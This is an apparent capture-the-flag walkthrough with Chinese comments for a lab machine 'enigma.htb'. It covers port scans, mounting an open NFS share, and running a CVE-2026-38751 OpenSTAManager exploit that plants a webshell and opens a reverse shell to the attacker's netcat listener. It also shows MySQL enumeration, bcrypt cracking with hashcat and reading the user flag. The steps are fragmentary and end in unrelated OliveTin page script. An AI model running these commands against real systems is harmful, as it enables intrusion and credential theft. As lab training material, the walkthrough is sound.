╭─ /home/kali/Desktop ··················································· took 56s with root@kali at 06:17:35 ─╮ ╰─❯ nmap -sT -p- --min-rate=10000 10.129.57.229 ─╯ Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-21 06:18 EDT Warning: 10.129.57.229 giving up on port because retransmission cap hit (10). Nmap scan report for enigma.htb (10.129.57.229) Host is up (0.081s latency). Not shown: 50622 closed tcp ports (conn-refused), 14901 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 110/tcp open pop3 111/tcp open rpcbind 143/tcp open imap 993/tcp open imaps 995/tcp open pop3s 2049/tcp open nfs 34541/tcp open unknown 34787/tcp open unknown 34923/tcp open unknown 36159/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 32.67 seconds
╭─ /home/kali/Desktop ···················································· took 5s with root@kali at 06:22:30 ─╮ ╰─❯ nmap -sT -p 22,80,110,111,143,993,995,2049,34541,34787,34923,36159 -sV 10.129.57.229 ─╯ Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-21 06:22 EDT Nmap scan report for enigma.htb (10.129.57.229) Host is up (0.11s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.24.0 (Ubuntu) 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2-4 (RPC #100000) 143/tcp open imap Dovecot imapd (Ubuntu) 993/tcp open ssl/imap Dovecot imapd (Ubuntu) 995/tcp open ssl/pop3 Dovecot pop3d 2049/tcp open nfs_acl 3 (RPC #100227) 34541/tcp open nlockmgr 1-4 (RPC #100021) 34787/tcp open mountd 1-3 (RPC #100005) 34923/tcp open mountd 1-3 (RPC #100005) 36159/tcp open status 1 (RPC #100024) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.46 seconds
优先尝试NFS端口号，尝试是否能直接挂载提取文件
第一步先查看挂载点：
1 2 3 4 5
╭─ /home/kali/Desktop ··················································· took 14s with root@kali at 06:23:02 ─╮ ╰─❯ showmount -e 10.129.57.229 ─╯
Export list for 10.129.57.229: /srv/nfs/onboarding *
发现这个目录可被挂载 创建文件夹：
1
mkdir /mnt/nfs
1
mount -t nfs -o vers=3,nolock 10.129.57.229:/srv/nfs/onboarding /mnt/nfs
使用该命令来挂载 将/srv/nfs/onboarding 挂载到/mnt/nfs下：
1 2
╭─ /home/kali/Desktop ···························································· with root@kali at 06:26:58 ─╮ ╰─❯ mount -t nfs -o vers=3,nolock 10.129.57.229:/srv/nfs/onboarding /mnt/nfs
来查看/mnt/nfs 下挂载的文件：
1 2 3
╭─ /home/kali/Desktop ···················································· took 5s with root@kali at 06:27:05 ─╮ ╰─❯ ls /mnt/nfs ─╯ New_Employee_Access.pdf
╭─ /home/kali/Desktop/tools/CVE/CVE-2026-38751 on main ··························· with root@kali at 06:45:35 ─╮ ╰─❯ python3 exploit.py -u http://support_001.enigma.htb -U admin -P Ne3s4rtars78s --lhost 10.10.17.181 --lport 4444
[ CVE-2026-38751 — OpenSTAManager RCE ]
[*] Target: http://support_001.enigma.htb
[*] 1/4 Authenticating... [+] Authenticated as: admin [*] 2/4 Enabling module updates... [+] Module updates enabled [*] 3/4 Uploading malicious module... [*] Malicious ZIP built in memory [*] Upload → HTTP 500 [*] 4/4 Verifying webshell... [+] Webshell active: http://support_001.enigma.htb/modules/shell/shell.php [*] Sending payload to 10.10.17.181:4444 [*] Make sure your listener is ready: penelope -p 4444
另一个终端返回：
1 2 3 4 5 6 7
╭─ /home/kali/Desktop ········································· with root@kali at 06:54:42 ─╮ ╰─❯ nc -lvp 4444 ─╯ listening on [any] 4444 ... connect to [10.10.17.181] from enigma.htb [10.129.57.229] 54482 bash: cannot set terminal process group (1562): Inappropriate ioctl for device bash: no job control in this shell www-data@enigma:~/html/openstamanager/modules/shell$
┌──(kali㉿kali)-[~] └─$ mysql -ubrollin -p --port 33060 --skip-ssl Enter password: Welcome to the MariaDB monitor. Commands endwith ; or \g. Your MySQL connection id is127 Server version: 8.0.46-0ubuntu0.24.04.3 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;'or'\h'for help. Type '\c'to clear the current input statement.
MySQL [(none)]>show database; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'database'at line 1 MySQL [(none)]>show databases; +--------------------+ | Database | +--------------------+ | information_schema | | openstamanager | | performance_schema | +--------------------+ 3rowsinset (0.078 sec)
MySQL [(none)]> use openstamanager; Reading table information for completion oftableandcolumn names You can turn off this feature toget a quicker startup with-A
╭─ /home/kali ······································································· took 18s with root@kali at 07:21:56 ─╮ ╰─❯ hashcat -m 3200 -a 0 3.hash /usr/share/wordlists/rockyou.txt ─╯
Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 72 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256
uid=1000(haris) gid=1000(haris) groups=1000(haris),100(users) python3 -c "import pty;pty.spawn('/bin/bash');" haris@enigma:/var/www/html/openstamanager/modules/shell$ ls ls chisel MODULE shell.php haris@enigma:/var/www/html/openstamanager/modules/shell$ cd .. cd .. haris@enigma:/var/www/html/openstamanager/modules$ cd /home cd /home lharis@enigma:/home$ ls lls Command 'lls' not found, but there are 16 similar ones. haris@enigma:/home$ ls ls haris it kevin sarah haris@enigma:/home$ cd haris cd haris haris@enigma:~$ ls ls mail user.txt haris@enigma:~$ cat user.txt cat user.txt **************** haris@enigma:~$
<scripttype = "text/javascript"> const bigErrorDialog = document.getElementById('big-error') /** This is the bootstrap code, which relies on very simple, old javascript to at least display a helpful error message if we can't use OliveTin. */ window.showBigError = function (type, friendlyType, message, isFatal) { console.error('Error ' + type + ': ', message) return; bigErrorDialog.innerHTML = '<h1>Error ' + friendlyType + '</h1><p>' + message + "</p><p><a href = 'http://docs.olivetin.app/troubleshooting/err-" + type + ".html' target = 'blank'/>" + type + " error in OliveTin Documentation</a></p>" if (isFatal) { bigErrorDialog.innerHTML += '<p>You will need to refresh your browser to clear this message.</p>' } else { bigErrorDialog.innerHTML += '<p>This error message will go away automatically if the problem is solved.</p>' } bigErrorDialog.showModal() console.error('Error ' + type + ': ', message) } window.clearBigErrors = function () { bigErrorDialog.close() } </script>
<scripttype = "text/javascript"nomodule> showBigError("js-modules-not-supported", "Sorry, your browser does not support JavaScript modules.", null) </script>
